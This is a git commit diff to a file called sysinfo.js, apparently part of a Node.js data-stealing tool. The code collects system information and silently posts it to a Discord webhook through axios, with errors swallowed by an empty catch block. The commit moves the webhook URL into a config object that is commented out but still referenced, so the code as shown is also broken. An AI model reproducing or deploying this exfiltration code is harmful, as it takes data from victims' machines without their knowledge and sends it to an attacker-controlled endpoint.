Update sysinfo.js

This commit is contained in:
Synthetic
2023-11-15 08:01:03 -05:00
committed by GitHub
parent e96f92276e
commit dee2a02311

View File

@@ -5,7 +5,9 @@ const os = require('os')
const path = require('path') const path = require('path')
const { execSync } = require('child_process') const { execSync } = require('child_process')
const webhook = 'https://discord.com/api/webhooks/xxx/xxx' /// const config = {
/// webhook: "https://discord.com/api/webhooks/xxx/xxx"
///};
async function systemInformationFullCopy() { async function systemInformationFullCopy() {
try { try {
@@ -57,7 +59,7 @@ async function systemInformationDump() {
}, },
], ],
}; };
await axios.post(webhook, sysinfembed, { headers: { 'Content-Type': 'application/json' } }); await axios.post(config.webhook, sysinfembed, { headers: { 'Content-Type': 'application/json' } });
} catch {} } catch {}
} }